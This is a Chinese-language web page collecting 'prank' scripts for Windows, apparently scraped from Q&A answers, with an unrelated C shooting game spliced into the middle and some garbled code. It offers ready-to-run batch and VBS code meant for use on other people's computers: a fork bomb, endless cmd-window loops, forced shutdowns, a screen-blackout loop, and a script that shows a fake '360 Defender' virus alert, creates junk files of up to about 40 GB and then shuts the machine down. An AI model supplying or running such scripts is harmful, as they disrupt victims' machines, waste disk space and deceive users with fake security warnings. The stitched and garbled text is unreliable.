電腦惡搞代碼？代碼如下，復制到記事本，將txt改為vbs就ok了，中間的字可自己改。if MsgBox("對不起,您灌水太多需要重新啟動計算機。"&chr(10)&"確定要重啟嗎？那么，電腦惡搞代碼？一起來了解一下吧。
如果你感到無聊，看看下面的吧。整人的東東… 如果你想惡搞別人一下,在記事本中輸入如下內容： @echo off start cmd.exe %02 . @echo off:arundll32 desk.cpl, DisplayTestSettingsW goto a 運行后會黑屏！ 3.shutdown -s -t 60 60秒倒計時關機！ 4.%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0 崩潰！ 5.下面的另存為a.bat @echo off Start a.bat dir c: /s /a
求采納
大量的樓上已經說了。這個是本人原創，親測有用。毒性嘛，就是會燒CPU，然后在這個vbs旁邊創建一大堆垃圾文件（請準備好30G空間）【具體在代碼中】
僅供惡搞娛樂和研究，沒有攻擊任何人，組織的意圖。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革廠倒閉了.mp3》請準備好放在D:\
msgbox "您的電腦已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司溫馨提醒：因為這個游戲涉及非法內容，所以您的電腦將在60秒后自動關機"" ",0,true
qstart.run "cmd.exe /c echo 滾|clip"
A = INPUTBOX ("說！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滾”已復制到剪貼板，可以粘貼。
一個打飛機的游戲，DEVc++編譯通過：
#include
#include
#include
#include
#include
#define zlx 10//增量坐標(x)讓游戲框不靠邊
#define zly 3//增量坐標(y)讓游戲框不靠邊
#define W 26//游戲框的寬度
#define H 24//游戲框的高度
int jiem[22][22]={0}, wj=10;//界面數組, 我機位置(初值為10)
int speed=4,density=30, score=0,death=0; //敵機速度, 敵機密度, 玩家成績,死亡次數
int m=0,n=0;// m,n是控制敵機的變量
void gtxy (int x, int y)//控制光標位置的函數
{ COORD zb;//zb代指坐標
zb.X = x; zb.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );
}
voidColor(inta) //設定顏色的函數(a應為1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }
void yinc(int x=1,int y=0)//隱藏光標的函數
{ CONSOLE_CURSOR_INFO gb={x,y}; //gb代指光標, y設為0即隱藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);
}
void csh( ) //初始化函數
{ int i;
Color(7);
gtxy(zlx,zly); printf("╔"); gtxy(zlx+W-2,zly); printf("╗"); //左上角和右上角的框角
gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下邊兩框角
for(i=2;i for(i=2;i for(i=1;i for(i=1;i Color(14); gtxy(19,2); printf("殲滅敵機"); Color(10); gtxy(37,5); printf("設置：Esc "); gtxy(37,7); printf("發射：↑ "); gtxy(37,9); printf("控制：← → "); gtxy(37,11);printf("得分：%d",score); gtxy(37,13); printf("死亡：%d",death); yinc(1,0); } void qcjm( ) //清除界面函數 { int i,j; for(i=0;i for(j=0;j } void feiji( ) //飛機移動函數 { int i,j; for(i=21;i>=0;i--) //從底行往上是為了避免敵機直接沖出數組 for(j=0;j<22;j++) {if(i==21&&jiem[i][j]==3)jiem[i][j]=0; //底行賦值0 以免越界 if(jiem[i][j]==3)jiem[i][j]=0, jiem[i+1][j]=3; } if(jiem[20][wj]==3&&jiem[21][wj]==1) death++; } void zidan( ) //子彈移動函數 { int i,j; for(i=0;i<22;i++) for(j=0;j<22;j++) { if(i==0&&jiem[i][j]==2) jiem[i][j]=0; if(jiem[i][j]==2) {if(jiem[i-1][j]==3) score+=100,printf("\7"); jiem[i][j]=0,jiem[i-1][j]=2; } } } void print( ) //輸出界面函數 {int i,j; qcjm( ); for(i=0;i<22;i++) for(j=0;j<22;j++) { gtxy(12+j,4+i); if(jiem[i][j]==3) {Color(13);printf("□");} if(jiem[i][j]==2) {Color(10);printf(".");} if(jiem[i][j]==1) {Color(10);printf("■");} } gtxy(37,11); Color(10); printf("得分：%d",score); gtxy(37,13); printf("死亡：%d",death); } void setting( ) //游戲設置函數 { qcjm( ); gtxy(12,4);printf("選擇敵機速度:"); gtxy(12,5);printf(" 1.快 2.中 3.慢>>"); switch(getche( )) {case '1': speed=2; break; case '2': speed=4; break; case '3': speed=5; break; default: gtxy(12,6);printf(" 錯誤！默認值"); } gtxy(12,7);printf("選擇敵機密度:"); gtxy(12,8);printf(" 1.大 2.中 3.小>>"); switch(getche( )) {case '1': density=20; break; case '2': density=30;break; case '3': density=40; break; default: gtxy(12,9); printf(" 錯誤！默認值"); } for(int i=0;i<22;i++) for(int j=0;j<22;j++) jiem[i][j]=0; jiem[21][wj=10]=1; jiem[0][5]=3; gtxy(12,10); printf(" 按任意鍵保存..."); getch( ); qcjm( ); } void run( ) //游戲運行函數 { jiem[21][wj]=1; //值為1代表我機(2則為子彈) jiem[0][5]=3; //值為3代表敵機 SetConsoleTitle("殲滅敵機"); //設置窗口標題 while(1) {if (kbhit( ))//如有鍵按下，控制我機左右移動、發射或進行設定 { int key; if((key=getch( ))==224) key=getch( ); switch(key) {case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1; break; case 77: if(wj<20)jiem[21][wj]=0,jiem[21][++wj]=1;break; case 72: jiem[20][wj]=2; break; case 27: setting( ); } } if(++n%density==0)//控制產生敵機的速度 { n=0;srand((unsigned)time(NULL)); jiem[0][rand( )%20+1]=3; } if(++m%speed==0) { feiji( ); m=0; } //控制敵機移動速度(相對子彈而言) zidan( );//子彈移動 print( );//輸出界面 Sleep(120);//延時120毫秒 } } int main( ) { csh( ); run( ); return 0; } 電腦桌面融化，這段代碼真的很強悍 ！居然搞的我看不到屏幕 ， 就像雪糕一樣被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function GetDesktopWindow Lib "user32" () As Long Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source Dim x As Integer, y As Integer Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long) Private Sub Form_Load() Me.Hide Desktop = GetWindowDC(GetDesktopWindow()) hBitmap = CreateCompatibleDC(Desktop) hScreen = CreateCompatibleDC(Desktop) Buffer = CreateCompatibleBitmap(Desktop, 32, 32) ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15) SelectObject hBitmap, Buffer SelectObject hScreen, ScreenBuffer BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY For i = 0 To 1E+17 y = (Screen.Height / 15) * Rnd x = (Screen.Width / 15) * Rnd BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY DoEvents Next i End Sub 還有個殺手锏；一段要人命的vb代碼 -----------------------------------------------聲明--------------------------------------------------------------- ’如果您在沒有讀懂代碼的情況下請不要生成exe文件運行.............否則不要怪我沒提醒你。 橫線開始 ______________________________________________________ ：start start cmd goto start ______________________________________________________ :和start間沒有空格 這個代碼可以打開無數個cmd窗口，唯一的解決方法是：重啟 以上就是電腦惡搞代碼的全部內容，如果你想惡搞別人一下,在記事本中輸入如下內容： @echo off start cmd.exe %0 2 . @echo off :a rundll32 desk.cpl, DisplayTestSettingsW goto a 運行后會黑屏！ 3.shutdown -s -t 60 60秒倒計時關機！。
惡搞代碼怎么編寫
簡單的惡搞編程代碼
